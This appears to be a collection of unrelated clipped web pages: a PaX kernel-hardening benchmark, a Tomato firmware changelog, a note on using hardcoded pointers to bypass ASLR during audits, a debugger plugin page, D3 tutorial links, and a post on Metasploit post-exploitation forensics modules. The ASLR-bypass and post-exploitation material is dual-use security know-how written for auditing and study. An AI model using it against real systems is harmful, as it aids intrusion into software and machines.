    *  _SEGMEXEC is not applicable for this CPU architecture_
    * without PaX protections
  * benchmark command sequence: `make mrproper && make allyesconfig && time make -j3`

  
---|---|---  
**********Note 1:** This kernel is version 2.6.11 patched for security
hardening by the Gentoo people. Patches include grsecurity which also
incorporates PaX into the kernel.  
  

_Normalized performance results of average compilation times  
with different PaX configurations_  
---  
time| No protection \(reference\)| PAGEEXEC implementation| SEGMEXEC
implementation  
Testbench 1  
real| 100%| 87,9%| 99,4%  
user| 100%| 95,9%| 99,5%  
system| 100%| 36,2%| 96,5%  
<img src='img/Temp2_10780.png' alt='testbench 1 benchmark results' />  
Testbench 2  
real| 100%| 97,26%| 100,03%  
user| 100%| 99,33%| 100,32%  
system| 100%| 81,19%| 96,11%  
<img src='img/Temp2_10790.png' alt='testbench 2 benchmark results' />  
Testbench 3  
real| 100%| 100,8%| n/a  
user| 100%| 100,44%| n/a  
system| 100%| 100,21%| n/a  
<img src='img/Temp2_10786.png' alt='testbench 3 benchmark results' />  
**Note 1** : Reference times yield 100%. Results below 100% represent longer
compilation times. An example value of 50% means compilation took twice the
time than reference.  
**Note 2** : Illustrative graphics represent average amont of time in seconds
spent in the compilation processes, split by system and user time.  
**Note 3** : Absolute compilation times and some simple statistical analysis
can be found on the appendixes of this document.  
### 5\. PAGEEXEC performance impact

Implementing non-hardware supported features has to have a negative impact on
performance. AMD64 based CPUs let us use PAGEEXEC "for free" because the
architecture supports it explicitly, but that is not the case for generic x86
CPUs \(i386-Pentium, Pentium Pro/II/III, Celeron, Centrino, Pentium IV, AMD
K7/Athlon, etc\). The relevance of these CPUs is the overwhelming and
presently unthreatened placement on the desktop and low end server market.  
  
Surprisingly, PAGEEXEC has little performance impact, even implying a lot more
page table walks and page fault exceptions to allow software permission
management. The benchmarking results for testbench 2 \(Pentium III\) show only
a 2.7% performance drop on total \(real\) time and specifically a more
significant 18.8% on system time, showing the increased load on memory paging
subsystem.  
  
The most notable result is the particularly negative impact found on testbench
1 \(Pentium IV\). The netburst architecture somehow shows a non-modest
performance drop of 22.1% on total time and a whopping 73.2% on system time.

### 6\. IA-32 alternative: SEGMEXEC performance impact

On IA-32 architecture, SEGMEXEC based memory protection should have a small if
at all noticeable performance impact. And that's exactly what the benchmarks
show.  
  
All benchmarks show very small performance hits of about 3.5% of system time
and less than 1% of total time. The performance increases of 0.32% of real
time found in testbench 2 can be covered by statistical errors and finally
there was no SEGMEXEC benchmark for AMD64 because the patch doesn't support it
and it would be a waste of time. AMD64 can use PAGEEXEC "for free" as seen in
the PAGEEXEC benchmark result.

### 7\. Conclusion

Normalized benchmark results can be viewed on the char below. Results are
represented in percentage values, normalized with the standards \(no PaX\) for
each testbench. Percentage values below 100% represent decreased performance
and _vice-versa_. The visible performance hits can be found in testbench 2 but
mostly in testbench 1, as expected in PAGEEXEC setups.

<img src='img/Temp2_10791.png' alt='relative benchmark comparison chart' />

#### PAGEEXEC

The PaX patchset is a big step towards increased operating system security, by
adding protection features against introduction and/or execution of arbitrary
code and user changes to code execution order. Memory protection features are
only a part of the PaX project and are most welcome on the IA-32 architecture,
since it doesn't support them \(decently, I mean\). AMD64, PPC64, Alpha and
other architectures benefit with PaX's PAGEEXEC memory protection at no cost
whatsoever\!  
  
IA-32 CPUs suffer a small performance drop when using PAGEEXEC -- 2.7% in real
time and 18.8% in system time -- with the exception of the netburst
architecture \(Pentium IV and Xeon\) that suffer a much bigger hit -- 22.1% on
real time and 73.2% on system time.  
  
As expected, AMD64 architecture uses PAGEEXEC for free. There is no
performance drop whatsoever.

> **Comment from the PaX team on these results:** _the PAGEEXEC/i386
> performance impact is lower than what it used to be because a year ago I
> implemented a speed-up trick on 2.6 \(it is not documented yet\). you can
> try to test 2.4 and you'll see what I mean, especially on the P4 where the
> old PAGEEXEC logic would cause a huge slowdown, maybe a 100x or on that
> order \(so what you observed shows just how effective the speed-up is in
> real life\). I don't know why the P4 is so impacted, it is probably in part
> because user/kernel transitions are very slow in general, but there must be
> something else as well \(the PaX specific page table manipulation maybe\)._
#### SEGMEXEC

For IA-32 CPUs with significant performance drops caused by PAGEEXEC \(either
on netburst architecture or on others with memory sensitive applications\),
the PaX project developed an alternative algorithm -- SEGMEXEC -- which
achieves the same goal as PAGEEXEC but by taking advantage of the hardware
segmentation logic of x86 CPUs, making the associated performance drop nearly
null. Both testbenches 1 and 2 showed the expected similar results. These are
very small performance drops which measure only 3.5% of system time and less
than 1% of total time. Curiously, testbench 2 had a performance increase of
0.32% on real time, but I believe that can be covered by the statistical
errors. On a final note, SEGMEXEC was not tested on AMD64 because the patch
doesn't support it \(SEGMEXEC on AMD64\) and it would be a waste of time.
AMD64 can use PAGEEXEC "for free".  
  
This small study has revealed that PaX's PAGEEXEC memory protection can be
expensive in some cases but for IA-32 architecture SEGMEXEC is a perfectly
functional alternative with a completely negligible performance hit. Also
SEGMEXEC's associated drawbacks are not at all easily found.

> **Comment from the PaX team on these results:** _it is interesting that you
> also found the same small performance increase for SEGMEXEC/P3 that i'd
> observed in the past, it is really small but consistent: userland time goes
> down \(unexpected\), kernel goes up a bit \(expected\), on the order of a
> few seconds on a kernel compilation. I have no explanation for this, but it
> is quite reproducible \(i used to think that randomization causes it but
> then it affects only virtual addresses, not the physical addresses which
> play a role in caching, and you didn't have randomization enabled at all, I
> think\).  
>  
>  SEGMEXEC/amd64 doesn't exist because the CPU itself doesn't make it
> possible \(nor necessary, of course\), at least in 64 bit mode. in 32 bit
> mode you can of course boot the normal i386 kernels and test both non-exec
> methods. _
#### Overall Conclusion

It is my opinion that PaX is a very good patchset, being an important step
towards improved operating system and therefore services' security. The memory
protection plays an important role but the effectiveness of the patchset is
maximized in conjunction with the other mechanisms supplied. grsecurity
includes PaX and presents a very complete approach for improved linux
security.  
  
Some applications that were badly written, aggressively optimized or derived
from very old and thus crippled code may not work with this kind of security
patches. There is no hope for those applications other than two solutions:

  * Selectively disable PaX features with useland tool on misbehaving binaries, thus lowering the security level \(not possible on all setups without some serious changes\)
  * Change or have someone change the application to run in protected memory and randomized mapping environments

### 8\. Future work

Some more information on the netburst architecture could enlighten its
particular negative results on PAGEEXEC, so a comment on that would be useful
to justify bad performance. Next reviews of this article may include an
explanation. Feel free to contribute.

One other useful PaX feature is also bound to cause a negative performance
impact and could also be studied. Address Space Layout Randomization
randomizes several process memory mappings to prevent exploit techniques that
rely on known memory vectors.  
  
On system calls like `fork()` or `exec()` some address vectors must be
generated from a known base address and an amount of randomization. The
randomization "quality" and "quantity" for the different base addresses can
cause a performance penalty, which could be measured.

### 9\. References

  1. PaX Overview
  2. PaX: NOEXEC
  3. PaX: PAGEEXEC
  4. PaX: Older PAGEEXEC document
  5. PaX: VMMIRROR
  6. PaX: SEGMEXEC
  7. GRSecurity homepage

### A. Absolute benchmark values

<img src='img/Temp2_10784.png' alt='testbench 1 absolute benchmark values
table' />  
<img src='img/Temp2_10785.png' alt='testbench 2 absolute benchmark values
table' />  
<img src='img/Temp2_10781.png' alt='testbench 3 absolute benchmark values
table' />  
_All values are in seconds except those on performance column, which are
percentages_

<img src='img/Temp2_10783.png' alt='Creative Commons License' />  
This work is licensed under a Creative Commons Attribution 2.5 License.

# Tomato by Shibby » Changelog \(ang.\)

**Created:**| _7/30/2013 8:12:46 AM_  
---|---  
**Updated:**| _7/30/2013 8:12:46 AM_  
**Author:**| __  
**Tags:**| _Linux network-security_  
  

# **C** hangelog \(ang****.\)

**\[RELEASE\] 111**

\- Some fixes in NETFILTER – thx Victek

\- VLAN: Correct ID for RT-N66 allowing VLAN and tagged network – thx Victek

\- Add support for newer flash chips in latest RT-N66U hardware revision – thx
RMerlin and Victek

\- All K26 and K26RT-N builds are compiled using new/fixed toolchain

\- ACCESS RESTRICTION: use string module instead web module \(https is blocked
now – facebook for example\)

\- pairNIC DDNS service – thx Andy

\- Stealthmode and mymotd – some improvements – thx Monter

\- Busybox 1**.** 21.1 update

\- Add optware-install**.** h script to Tomato – just mount drive to /opt
directory and run „optware-install**.** sh”**.** That\`a all.

\- Transmission: update to 2**.** 81

\- RT-AC66u – Enable 5GHz radio \(b/g/n max 450Mbps only at the moment\)

**\[RELEASE\] 110**

\- Add „BT” target

\- Remove Ebtables from mini builds \(make they smaller\)

\- usb\_modeswitch: ver**.** 1.2.6 with data package 2013-06-07

\- Tomato Update Notification System

\- miniDLNA update to 1**.** 0.26

\- Miniupnpd update to 1.8 \(20130521\)

\- Add codes to support HG320, H218N and RG200E-CA – thx BWQ

\- basic-network – add ttyUSB devices to 6

\- stealthmode – some improvements

\- Change characters limit for snmp fields

\- OpenVPN update to 2**.** 3.2

\- dnsmasq update to 2.67cs7 – thx Kevin

\- many cstats updates – thx RMerlin and Kevin

\- a lot of updates and improvements of IPv6 – thx Kevin

\- Expose PPPoe variables – thx Kevin

\- add netfilter xt\_string support

\- DNScrypt-proxy: update to 1**.** 3.0

\- DNScrypt-proxy: add custom startup option in GUI

\- many iptraffic updates – thx RMerlin

\- RSA keylength to 1024 for router cert

\- Grow-up cookies expire time – thx blackwind

**\[RELEASE\] 109**

\- Webmon Backup Script – look Administration -> Logging

\- Busybox: Fix tune2fs and revert e2label tool

\- EtherState: cosmetics changes – looks better

\- Ethernet State: fix when WAN is tagged – thx @Victek

\- Allow WNR3500Lv2 to upgrade from Web interface

\- Openssl: enable s\_client

\- rp-pppoe: upgrade to 3**.** 11

\- Dnsmasq upgrade to 2.67test3 – thx @Kevin

\- Added refresh timer to tools/system page – thx @Toastman

\- Add Time 0:01 and 23:59 to Scheduler

\- Backported new exportfs method \(365-exportfs1 patch from WL500g\) – thx
@RMerlin

\- Extended MOTD with GUI – written by @Monter, modified by @Shibby – can be
disabled in GUI Administration -> Admin Access -> SSH

\- IPTraffic bugfix – thx @RMerlin

\- StealthMode v0**.** 5 – Sunset – thx @Monter – please run stealthMode via
SSH/telnet for more information

\- Fix for dhcpv6 with prefix delegation – thx @Toastman

\- Remove radvd & libdaemon, use dnsmasq for IPv6 RA instead – thx @Kevin

\- Added ipset support – thx @RMerlin

\- Implement multithreaded kernel building to speed up firmware compile time –
thx @RMerlin

\- Do not write out ‚no-dhcp-interface’ in dnsmasq.conf as is superfluousas no
dhcp-range has been set – thx @Kevin

**\[RELEASE\] 108**

\- Fix vsftpd rights

\- Fix upnp GUI

\- Miniupnpd: fix permissions to use dotted mask**.** Return to dotted mask in
config file**.**

\- Further optimize lzo compilation to help OpenVPN performance and This
optimization gives us a 10% speed gain \(thx RMerlin\)

\- Miniupnpd: add custom configuration textarea to GUI

\- Fix reboot/logout/shutdown buttons from nas-ups page**.**

\- Make some images smaller

\- Add ebtables to all mini K26 builds**.**

\- HTTPS remote access should now works on builds without VPN included
\(libssl problem\)

\- Fix default vlans for RG200E-CA

**\[RELEASE\] 107**

\- Preliminary ChinaNet RG200E-CA support \(RT-N branch, only for routers with
changed CFE\)

\- StealthMode v0**.** 3 \(fixed turn on/off leds on RT-N16, add „leds
guardian” to cru\) \(thx Monter\)

\- Gives another nice performance boost, for less than 100KB tradeoff after
LZMA compression \( thx RMerlin\)

\- Ntfs-3g release 2013**.** 1.13

\- Increase TC\_HTB\_NUMPRIO to 10 \(thx Toastman\)

\- Improvement in the appearance of the qos-classify \( thx Monter\)

\- Preliminary FiberHome HG320 ID/support \(RT-N branch\)

\- Preliminary Catchtech CW-5358U ID/support \( RT-N branch\)

\- Add new miniVPN buildtype for router with 4MB flash

\- Dnsmasq: update to 2**.** 66TEST16 \( thx Kevin\)

\- Make remote HTTPS more secure \( use RSA 2048 key, use router name as CN\)

\- Miniupnpd: fix SIGUSR2 problem  
\* fix showing opened ports in GUI  
\* lanmask has to be present as bits

\- Transmission: update to 2**.** 77

\- Busybox: revert dhcpc from BB 1**.** 18.4 for now  
\* Works release/renew  
\* Remaining Lease Time is showing correct

\- TTB: we need unzip tool

\- Fix for excessive VPN logging „vpn server already running”

\- 3G Modem: fix switch3g script

\- Ethernet State: cosmetics changes

**\[RELEASE\] 106**

\- Busybox: full update to 1**.** 20.2

\- Miniupnpd: update to 1.8 \(20130207\)

\- Stealthmode scripts for RT-N16 and RT-N66u only**.** Usage:
/usr/sbin/stealthMode on|off

\- Grow up static dhcp entries from 140 to 250

\- Libevent: update to 2**.** 0.21

\- robocfg update for new Ethernet ports state feature

\- Ethernet State Report with GUI

\- Fix OpenVPN depends in K24 builds

Note:  
\- Robocfg is not perfect and it\`s not fully support all routers with
Tomato**.** On some gigabits routers, 1Gbit connections can be displayed as
10M**.** It\`s a robocfg fault**.** You can disable speed info from GUI.  
\- if ethernet ports are displayed in wrong order, you can enable „invert
ports order” options**.**  
\- if some of you don\`t like Ethernet ports state, you can disable this
feature in GUI**.**

**\[RELEASE\] 105**

\- Add TC-ATM overhead calculation for DSL – thx Tvlz

\- Revised QOS classification rules – thx Toastman

\- new L7 filter pattern for youtube – - thx Porter

\- Switchable QOS Pie Chart – thx Dinnn

\- OpenSSL update to 1**.** 0.1c and:  
\* enable OpenSSL assembler acceleration  
\* enable 2 new openssl commands: version and speed

\- OpenVPN update to 2**.** 3.0 \(ipv6 support\)

\- LZO update to 2**.** 0.6

\- Transmission: update to 2**.** 76

\- Re-enable TCP Vegas settings

\- Add IMQ based QOS ingress, incoming bandwidth pie chart – thx Tiomo

\- Column sorting fixes – thx Tony550

\- Add previous WAN IP to status overview – thx Victek

\- Correcting grammar errors – Big thanks for GhaladReam

\- Fix VLAN mapping ports for RT-N10U

\- Make some build smaller

\- TomatoAnon: generate a random clock \(minutes\) for interval update**.**

\- TTB: project integration and GUI

\- Fix long boot time on Asus RT-N16

\- xl2tpd: update to 1**.** 3.1 + patches. Fix L2TP connections. Tested on
Beeline-Russia by user @DollaR

\- Allow to redirect remote access ports \(SSH & HTTP\(s\) \) to router if DMZ
is enabled**.** Checkout new option in forward-dmz page.

\- TOR: update to 2**.** 3.25

**\[RELEASE\] 104**  
\- Revised/recompiled BCM driver K26RT-N backported from Asus GPL 3**.**
0.0.4.220

\- Support 2nd radio \(5GHz\) using wl\_high module for router Asus RT-N53,
Linksys E2500 and E3200

\- VLAN mapping for Asus RT-N53

\- include TomatoAnon project \(disabled by default\)

\- revert \(fully integrade tomato-RT branch with my branch \(lot of teddy\`s
updates from april to august 2011\) and add only some of commits like

\* rc: fix for E4200 mac address

\* BCM SDK: dirty dd-wrt fix for Belkin f7d4302 5GHz radio

\* USB: LED driver: support multiple devices

\* Build: fpkg: fix creating Belkin images

**\[RELEASE\] 102**

\- Add fully support for 3G modem ZTE MF195 \(ttyACM0 device\)

\- Transmission: update to 2**.** 71

\- Remove limitation about 22 bits netmask

\- SD card support only for RT-N66u \(save space\)

\- Add support for Asus WL-330gE

\- Add support for Huawei E3131s-2 \(module and usb\_modeswitch data only\)

\- Remove some extra themes from TOR-VPN builds \(save space, image was too
big for Netgear 3500L v1\)

\- Compile/include mdadm tool only if RAID is set \(save space\)

\- Fix a bug in the Asus/Linksys Red Themes

\- NTFS-3G update fo 2012**.** 1**.** 15

\- fully integrade tomato-RT branch with my branch \(lot of teddy\`s updates
from april to august 2011

**\[RELEASE\] 101**

\- IPv6 suppord fixed \(sit**.** ko module depends\)

\- Transmission fixed \(libiconv depends issue\)

\- RAID 0/1 support**.** Modules and mdadm tool available in extras. Mega-VPN
and AIO have RAID modules and tool build-in

\- radvd update to 1**.** 9.1 + libdaemon

\- Memory leak fixed \(when IPv6 is enabled\)

\- L2TP WAN connection fixed

\- VLAN mapping for Belkin routers

\- miniDLNA update to 1**.** 0.25

\- AsusRed and LinksysRed themes bu @Nitro 2nd edition

\- Linksys E2500 Power LED fixed

\- Images for Belkin routers \(K26\)

**\[RELEASE\] 100**

\- Fix dnscrypt-proxy

\- Fix GPT support for hard disks

\- IPv6: Proof-of-Concept 6RD support

\- Move all IPSec modules to extras/ipsec/ directory

\- Two new themes by Nitro

**\[RELEASE\] 099**

\- Fix virtual wireless \(MultiSSID\)

\- Transmission: update to 2**.** 61

\- IPP2P: update to 0.99**.** 16

\- DNScrypt-proxy: update to 1.0

\- DDNS: fix HE.net Tunnel Broker messages

\- Add directory /tftpboot to root tree

\- Add e2label \(TUNE2FS\) tool to USBEXTRAS

\- Added IPSec support**.** All needed modules you can find in extras package.
Builds Mega-VPN and AIO have build-in all needed modules**.** Please use
strongswan from entware\!

\- Increase countdown after reboot router

\- Add ZTE MF195 3G modem support \(ZTE MF192 variant x T-Mobile/EE UK\)

\- TOR: Grow up data dir field

**\[RELEASE\] 097**

\- Add PPTP VPN client runtime and GUI

\- Fix OpenVPN settings page when using username authentication

\- Fix overidden mac address not being saved**.**

\- Add configuration options for the WAN ICMP Rate limiting

\- Total/Free NVRAM on overview page

\- TOR: Integration and GUI

\- New „Max” builtype for router with 8MB flash and w/o USB support

\- Driver for CH341 USB-serial adapter available in extras

\- Transmission: update to 2**.** 60

\- Add support for RT-N66 \(ONLY\) 64K nvram \(Upgrading from a 32K nvram
firmware will wipeout all your data**.**\)

**\[RELEASE\] 095**

\- fix working PS3 with minidlna

\- fix \[bwlimit\] link on overview-devices page

\- fix „ug” bug with running shell scripts on RT-N66u

\- remove garbage from Router Name

\- enable USB Support by default

\- enable SD Card support for RT-N66u by default

\- samba security fix – „root” credential remote code execution

\- wl\_mitigation disabled by default

\- VLAN:

  * experimental VLAN/VID mapping GUI \(allows creating VLANs with 802**.** 1Q tags larger than 15 via GUI\)
  * allow DMZ-style forwarding to alternative LAN bridges

\- PPTP:

  * allow specify ‚custom’ config/settings
  * dnsmasq to answer DNS queries on pppX interfaces

\- MultiSSID: some minor fixes

**\[RELEASE\] 093**

\- Busybox:

  * add WHOIS tool
  * fix ash repetear bug

\- Dropbear: 2012**.** 55 update

\- Dnsmasq: 2.61 update

\- Captive Portal: lot of fixes and improvements

  * new style of splash.html
  * selectable interface \(br0/1/2/3\)
  * fixed PATH in shell files \(Thx for @baranek from openlinksys.info\)
  * some of patched from dd-wrt
  * add to autostart

\- Add SNMP configuration options for custom port and remote access

\- Remove „CPU % usage” on Status Overview page

\- Transmission: update 2**.** 52

\- New theme for „Dark Knight” RT-N66U \( by Dark\_Shadow\)

\- Fix menu highlights \(Captive Portal and BW Limiter\)

\- lot of changes in buildtypes \(some removed, add new\)  
_RT-N builds only:_

\- WL 5**.** 100**.** 138.20 SDK: wl binaries, et/bcm57xx drivers, dnsmq
module

\- Asus RT-N10U: fix USB led

\- Asus RT-N15U: fix USB led

\- Support Asus RT-N53 \(no 5GHz support, 2,4GHz only\)

\- WNR3500Lv2 – Fixed display Free NVRAM on Admin->Configuration page \(thx
@krisan\)

\- Add new Linksys E-series routers support \(thx @tvlz\)

**\[RELEASE\] 092**

\- Fix GUI broken in 090 in build without VPN

\- Fix PPTP when used over WAN setup using PPPoE

\- Transmission: lot of changes in compilation process:

  * update to 2**.** 51
  * remove gettext from depends
  * add libiconv + patches from openwrt
  * revert transmission-remote tool as optional \(TR\_EXTRAS\)**.** Included in Mega-VPN and AIO builds
  * add EVENT\_NOEPOLL=1 to startup script
  * result = very stable transmsision and very fast GUI

\- BW Limiter: few fixes:

  * fix default class for br3
  * fix default classes \(br1\br2\br3\) when default class br0 is enabled

\- curl update from 7**.** 21.1 to 7**.** 25.0

\- libevent update from 2.0.11 to 2**.** 0.18

\- OpenSSL update from 1.0.0d to 1**.** 0.1-stable including all teddy\`s
patches/changes

\- 3G Modem: Add ttyUSB1 and ttyUSB3 to modem device list

**\[RELEASE\] 090**

\- added MultiSSID

\- added PPTP server

\- change blocklist update function to not using transmission-remote nomore

\- remove transmission-remote will save lot of space

\- remote TR\_EXTRAS \(transmission-create\)

\- OpenVPN update to 2**.** 2.2

\- BW Limiter: default classes for each LAN \(br1/2/3\)

**\[RELEASE\] 088**

\- dnscrypt-proxy integration with GUI \(basic -> network\)

\- UDPxy integration with GUI by Teaman \(advanced -> firewall\)

\- qos-graphs fixed

\- status-overview fixed \(works autorefresh and show buttons\)

\- increase max of bwlimit entries from 40 to 80

\- removed user-define imq settings \(advanced -> firewall\)

\- don\`t disable USB 3G box when storage checkbox is not checked

\- ups monitor service inprovements

\- two new buildtypes \(BT and Mega without VPN\)

\- remove CIFS and JFFS from BT-VPN

\- was too big for 8MB routers

\- Mega-VPN is now only for router with more than 8MB flash

\- add UPS feature to AIO

**\[RELEASE\] 087**

\- fix usb\_modeswitch \(libusb error\)**.** 3G support will works now

\- USB Speed improved**.** Old schema detection enabled

\- miniDLNA update from 1**.** 0.22 to 1.0.24

\- little cosmetics changes in Overview page**.** Able to show/hide each
section

\- IP Traffic: when/if set to ‚disabled’, we ‚really’ mean it

\- fix VLAN support for WNR3500Lv2 and remove JFFS support for this router

\- remove JFFS and SNMP from BT-VPN build**.** Image was to big for routers
with 8MB flash memory

\- propably this is the last release of K24

**\[RELEASE\] 085**

\- ip6tables fixed

\- „account” and „lan access” error

\- fix Toggle Visibility on QoS pages

\- fix syslog service when custom path is enabled

\- WOL should now works on br1,2,3

\- cosmetics changes in status-overview about LAN section

\- Transmission update from 2**.** 42 to 2.50

**\[RELEASE\] 084**

\- few changes in compilation of transmission \(should be more stable\)

\- added ratio option 0**.** 0

\- Add ZTE MF192 3G modem support

\- fix MARK module

\- Additional options to syslog \(local file\)

\- route modem IP for „Static” WAN

Attention: Propably build Mega-VPN will be too big for netgear 3500L

**\[RELEASE\] 083**

\- IPTraffic:

  * fix column sorting on ipt-daily.asp, ipt-monthly.asp and ipt-details.asp
  * option to show hostnames and/or IPs on IPTraffic graphics
  * conn/BW ratios graphs

\- Added CPU % usage to Status Overview page

\- Added „Route Modem IP” option \(basic -> network\)**.** This option allow
access to adsl modem in bridge mode

\- Ovislink 1600GL: Turn on/off „Connected” led when WAN connection is up/down

\- VLAN-GUI: include E4200 and WHR-G54S port mapping

****

# Reversing on Windows: Hardcoded Pointers

**Created:**| _1/16/2014 3:27:50 PM_  
---|---  
**Updated:**| _1/16/2014 3:27:50 PM_  
**Author:**| __  
**Tags:**| _reversing pointers_  
  

# Hardcoded Pointers****

Use of hardcoded pointer could enable the attacker to bypass ASLR**.** In this
draft I'm describing potential methods to find a hardcoded pointer in your
target**.**  
  
When exploiting particular vulnerabilities it is fundamental to read/write or
jump to predictable memory location in the process' address space**.** ASLR
randomizes the memory locations of various key locations including addresses
of libraries**.** Even though we see that some high profile applications still
load libraries with ASLR disabled , we have high hopes they will fix the
problem soon**.**  
  
That wouldn't solve the problem overall though**.** Applying ASLR to all
libraries does not mean there is not easily predictable locations in the
process' address space**.** There are API functions that accept address to
allocate memory at that address**.** These functions can be used to hardcode
memory address, and so to assign a fixed address to a pointer \(CWE-587
\)**.** As a consequence, it gives an attacker a chance to read/write or jump
to known address to bypass ASLR**.**  
  
For these functions you can specify the desired starting address that you want
to allocate**.** When doing security audit it's worth checking if the
functions are called with hardcoded addresses**.**

> ` VirtualAlloc  
> VirtualAllocEx  
> VirtualAllocExNuma  
> MapViewOfFileEx  
> MapViewOfFileExNuma`
The following functions accept address to read as parameter**.** These are not
appear to be useful but leave them for potential future use**.**  
UnmapViewOfFile, WriteProcessMemory, ReadProcessMemory, FlushViewOfFile,
FlushInstructionCache, Toolhelp32ReadProcessMemory, GetWriteWatch,
ResetWriteWatch, ReadProcessMemoryProc64, VirtualUnlock, MapUserPhysicalPages,
VirtualProtect, VirtualProtectEx, VirtualQueryEx, GetFrameSourceAddress,
CompareFrameDestAddress, VirtualFree, VirtualFreeEx, FindNextFrame,
WSPStringToAddress, CompareAddresses, AddressToString  
  
It's also worth checking if the application you audit uses shared memory as
some application map the memory at fixed address, and even boost library
supports the use of this insecure method**.**

> The use of relative pointers is less efficient than using raw pointers, so
> if a user can succeed mapping the same file or shared memory object in the
> same address in two processes, using raw pointers can be a good idea**.** To
> map an object in a fixed address, the user can specify that address in the
> `mapped region`'s constructor:
[code]

>     mapped_region region ( shm                         //Map shared memory
>                          , read_write                  //Map it as read-
> write
>                          , 0                           //Map from offset 0
>                          , 0                           //Map until the end
>                          , (void*)0x3F000000           //Map it exactly
> there
>                          );
[/code]

When auditing source code for hardcoded address it's worth looking for
constant starting with `0x` ending with `0000` as some might indicate
hardcoded memory address**.** I wrote a simple batch script  for that**.**  
  
The another batch script I have is for binary code**.** I recommend to use if
you don't find a bug using other methods**.** To use it you need to execute
dasmdir**.** py  on the binary file to produce disassembly, and you may run
the batch script  on it to get the immediate values filtered**.**  
  
This is interesting**.** Here is an example of someone asking how to allocate
memory at fixed address  unintentionally making his software less secure**.**
****

# Arab Team 4 Reverse Engineering \[AT4RE\]: Downloads / AT4RE RCE TOOLS /
IDAFicator v2.0.1.48

**Created:**| _2/25/2011 9:36:01 AM_  
---|---  
**Updated:**| _2/25/2011 9:36:11 AM_  
**Author:**| __  
**Tags:**| _Debugging plugin_  
  

#### AT4RE RCE TOOLS

IDAFicator v2.0.1.48  
---  
Author | Zool@nder  
Author website | www.at4re.com  
Description | This plugin tries to make the life of OllyDBG© users easier by bringing to him some fast and frequently used function.  
  
What's new in v.2.0.1.48:  
~~~~~~~~~~~~~~~~~~  
\- Completely re wrote multi assembler. aka ROTE aka Rainbow Ollydbg Text
Assembler  
\- New Goto dialogbox with code completion  
\- A lot of new shortcuts  
  
\[+\]: Added mouse scrolling ability to Goto listbox.  
\[+\]: Added a workaround StrongOD problem hooking NtCreateProcess: You have
to  
go to settings>rote tab, then set the number of milliseconds to sleep  
after compilation \(500 ms works fine form me on a core 2 duo 1.60GHz\).  
Thus, I noticed that it succeed only if THERE ARE NO ERRORS in the code.  
\[+\]: Ability to supersede StrongOD and AdvancedOlly Goto dialogbox even if  
not disabled \('Choosable'\).  
\[+\]: Ability to supersede StrongOD status bar info \(idaficator must be
loaded  
last, and to do so, just execute ollydbg without idaficator, then add it  
and re-run \(after checking 'Supremacy mode' from settings\)\).  
\[\!\]: Fix various tiny bugs.  
  
You can download the Full package of IDAFicator from this link:  
http://www.multiupload.com/UEKJ0DV8DA  
Image | no image available  
Filesize | 257.27 kB  
Date | Friday 18 February 2011 - 07:39:36  
Downloads | 360  
Download | <img src='img/Temp2_875.png' />  
Rating |   
| <img src='img/Temp2_873.png' /><img src='img/Temp2_873.png' /><img
src='img/Temp2_873.png' /><img src='img/Temp2_873.png' /><img
src='img/Temp2_873.png' /><img src='img/Temp2_873.png' /><img
src='img/Temp2_873.png' /><img src='img/Temp2_873.png' /><img
src='img/Temp2_873.png' /><img src='img/Temp2_874.png' /> 9.6 - 3 votes  
---

# D3 — Scott Murray — alignedleft

**Created:**| _5/7/2017 10:19:14 AM_  
---|---  
**Updated:**| _5/7/2017 10:19:14 AM_  
**Author:**| __  
**Tags:**| _web visualization_  
  

  

# D3 — Scott Murray — alignedleft

## D3 Tutorials

<img src='img/idvftw_cover.gif' width='180' height='236' alt='Interactive Data
Visualization for the Web' />These tutorials have been expanded into a book,
_Interactive Data Visualization for the Web_ , published by O’Reilly in March
2013. You can purchase the ebook and print editions from O’Reilly, but a
second edition is coming soon, so I really recommend you preorder that. A
free, online version includes interactive examples. Download the sample code
files and sign up to receive updates by email.  
  
Follow me on Twitter for other updates.  
  
These tutorials have been generously translated to Catalan \(Català\) by Joan
Prim, Chinese \(简体中文\) by Wentao Wang, French \(Français\) by Sylvain Kieffer,
Japanese \(日本語版\) by Hideharu Sakai, Russian \(русский\) by Sergey Ivanov, and
Spanish \(Español\) by Gabriel Coch.  
  
Also see my video courses, “An Introduction to d3.js: From Scattered to
Scatterplot” and “Intermediate d3.js: Charts, Layouts, and Maps.”

Copyright © 2006–2017 Scott Murray

  

# Use the Metasploit Framework for Forensics\! — PenTestIT

**Created:**| _9/8/2011 11:37:59 AM_  
---|---  
**Updated:**| _9/8/2011 11:46:20 AM_  
**Author:**| __  
**Tags:**| _Forensics Metasploit_  
  

# Use the Metasploit Framework for Forensics\!

  

September 3, 2011 19:47 pm ·  0 comments

by Black on September 3, 2011

in Forensics, Open Source

We all know that the **Metasploit Framework** is the de-facto standard for
penetration testing. But with a recent update, we found that the framework is
slowly spreading its tentacles all across. Not that we do not like it\! The
more this is done, the more we like it\! The update contained three new post
exploitation modules that can help you perform atleast a bit of a forensic
examination of a target machine. We had done a similar write up on
_Metasploit_ modules such as _Smartlocker, Schelevator_ and recently –
_smart\_hashdump_** _._**

<img src='http://www.pentestit.com/wp-
content/uploads/HLIC/8d8a7708e60beccf635fd5be58dc4201.png?84cd58' width='232'
height='32' alt='Metasploit' />

  

These modules are as follows:

  * nbd\_server.rb: Maps remote disks and logical volumes to a local Network Block Device server. Allows for forensic tools to be executed on the remote disk directly. A network block device is a device node whose content is provided by a remote machine. Typically, network block devices are used to access a storage device that does not physically reside in the local machine but on a remote one. All API calls made over meterpreter shell. This means that you can run forensic tools locally, on local block devices that are mapped to remote block devices\! If you want to check it out, it can be found here: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/forensics/nbd\_server.rb
  * imager.rb: This module will perform byte-for-byte imaging of remote disks and volumes. It uses the Railgun. This module can be found here: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/forensics/imager.rb
  * enum\_drives.rb: This module will list physical drives and logical volumes. This also uses Railgun. http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/forensics/enum\_drives.rb

These three modules have been programmed by R. Wesley McGrew, the well known
owner of http://mcgrewsecurity.com. These Metasploit modules of course can be
downloaded via the svn update command. With these post exploitation modules,
you surely can perform a bit of a priliminary forensic examination if you wish
to gain more knowledge about your target. These were also presented at the
recently concluded Defcon 19.

  

##

  *[September 3, 2011 19:47 pm]: 2011-09-03 19:47
  *[September 3, 2011]: 2011-09-03

# TCP Option to Denote Packet Mood

**Created:**| _4/4/2010 8:20:35 PM_  
---|---  
**Updated:**| _4/4/2010 8:21:03 PM_  
